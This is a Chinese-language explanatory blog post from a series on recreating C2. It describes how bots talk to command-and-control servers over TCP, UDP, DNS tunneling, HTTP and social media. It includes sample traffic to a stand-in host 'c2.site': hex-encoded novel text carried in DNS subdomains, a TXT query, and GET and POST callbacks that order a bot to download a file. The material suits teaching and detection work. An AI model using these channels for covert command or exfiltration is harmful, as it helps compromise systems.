Command & Control (C&C) 依網路通訊協定,可分為以下 5 種類型,做為通訊的管道。

  1. TCP
  2. UDP
  3. DNS
  4. HTTP (含 SSL)
  5. 社群媒體網站

TCP

TCP 是一種網路傳輸協定,內建錯誤重傳機制。可靠、不易出錯,且內建在多種主流作業系統中(e.g., Socket API),常用於 Bot 與 C2 通訊中。

若傳輸過程中,彼此需要隱匿通訊,則可挑選合適的加解密演算法,實作加解密機制。

UDP

UDP 傳輸協定有高效能、小封包的優點。亦內建在多種主流作業系統中(e.g., Socket API) ,但無錯誤重傳機制。

使用於 C2 通訊時,需加上驗證與重傳機制。例如,計算與比對每筆傳輸內容的雜湊值。隱匿通訊與 TCP 相同,藉由加解密機制達成。

DNS Tunneling

DNS (Domain Name Service) 全名是網域名稱服務。功能為查詢網域名稱時,回覆對應 IP 的資訊。

例如,查詢網域名稱 ( www.google.com) ,回覆IP是 「216.58.200.228」。使用 nslookup 工具查詢結果,如下:

$ nslookup www.google.com
Server:		127.0.1.1
Address:	127.0.1.1#53

Non-authoritative answer:
Name:	www.google.com
Address: 216.58.200.228

DNS 不啻是 Internet 的基石。駭客常利用 DNS 封包的 2 個位置,分別是子網域與TXT 紀錄,放入欲傳輸的內容,做為 Bot 與 C2 彼此溝通的橋樑。此機制亦稱為 DNS Tunneling。

子網域

將傳輸的內容編碼後,依固定長度分段放置於子網域。依序利用多個 DNS 查詢封包,達成 Bot 向 C2 的通訊目的。

例如,將「愛麗絲夢遊仙境」小說的其中一段文字,將文字轉換為 16 進位後,編碼分段後置入子網域中,如下範例。

416c6963652077617320626567696e6e.c2.site
696e6720746f20676574207665727920.c2.site
7469726564206f662073697474696e67.c2.site
2062792068657220736973746572206f.c2.site
6e207468652062616e6b2c20616e6420.c2.site
6f6620686176696e67206e6f7468696e.c2.site
6720746f20646f3a206f6e6365206f72.c2.site
20747769636520736865206861642070.c2.site
656570656420696e746f207468652062.c2.site
6f6f6b20686572207369737465722077.c2.site
61732072656164696e672c2062757420.c2.site
697420686164206e6f20706963747572.c2.site
6573206f7220636f6e76657273617469.c2.site
6f6e7320696e2069742c2022616e6420.c2.site
77686174206973207468652075736520.c2.site
6f66206120626f6f6b2c222074686f75.c2.site
67687420416c6963652c202277697468.c2.site
6f7574207069637475726573206f7220.c2.site
636f6e766572736174696f6e733f2220.c2.site               

TXT 紀錄

DNS 查詢類別的回應(Response)資料之一。最廣為人知的是 類別 A 與 AAAA 的資料,標註網域名稱所對應的IP。

次之,則是類別 MX, 存放的是郵件伺服器資訊。而類別 TXT 存放的是描述性文字,可存放任意字元。駭客常使用類別 TXT ,做以下事情。傳輸方向主要是 C2 對 Bot 的通訊。

  • 對Bot 下指令
  • 將惡意程式編碼後,放在 TXT 紀錄中,好讓 Bot 下載

我將「愛麗絲夢遊仙境」小說的其中一段文字,編碼後置入c2.site 網域的TXT 紀錄中 。

透過 DNS 紀錄查詢工具 dig 的查詢回應結果,如下範例。「;」符號開頭的文字為註解。

$ dig c2.site -t txt 

; <<>> DiG 9.10.3-P4-Ubuntu <<>> c2.site -t txt 
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 739 
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;c2.site.          IN  TXT 

;; ANSWER SECTION:
c2.site.       10800   IN  TXT  "416c6963652077617320626567696e...."

;; Query time: 89 msec
;; SERVER: 127.0.1.1#53(127.0.1.1)
;; WHEN: Fri Dec 27 14:17:07 CST 2019
 ;; MSG SIZE  rcvd: 93

HTTP (含 SSL)

HTTP 屬於 TCP/IP 應用層的協定。支援多種傳輸方法(HTTP Method),如 GET、POST、PUT、HEAD、OPTIONS 等。其中最廣泛使用的方法是 GET 與 POST 。

由於 GET 方法是將傳遞的多個參數與值,附加在 URL 後面,參數之間以「&」分隔。容易在 Proxy 日誌與 網站存取日誌 (Web access log) 留下紀錄,故不常用於 Bot 與 C2 通訊中。

http://c2.site/callback.php?cmd=download&url=https://foo.bar/a.tgz

而 POST 方法是將傳遞的參數與值,置於 HTTP Body 中。

POST /callback.php HTTP/1.1
Host: c2.site
Content-Type: application/x-www-form-urlencoded
Content-Length:  38

cmd=download&url=https://foo.bar/a.tgz

在 Proxy Log 與網站存取日誌 (Web access log) 僅會有存取 callback.php的紀錄,但無 POST 的參數內容,故常用於 Bot 與 C2 通訊中。

若傳輸過程中,彼此需要隱匿通訊,則會搭配 SSL (Secure Socket Layer),或是挑選合適的加密演算法,將傳輸內容加密。

社群媒體網站服務

在現今人手一機的時代,人們每天瀏覽社群媒體的消息,存取社群媒體網站服務,已是每日例行公事。

而駭客為了切換 Bot 連線的 C2位址,會將 C2 位址資訊以「編碼」或「加密」形式,貼至公開社群媒體頁面,例如推特 (Twitter)、Blog BSP等。

惡意程式作者預先寫死 (Hard coded) 社群媒體網址在Bot 程式碼中。之後,Bot程式欲向 C2 報到前,會先至社群媒體網址,存取 C2 位址資訊後,再去 C2 報到。

複刻 C2 系列文章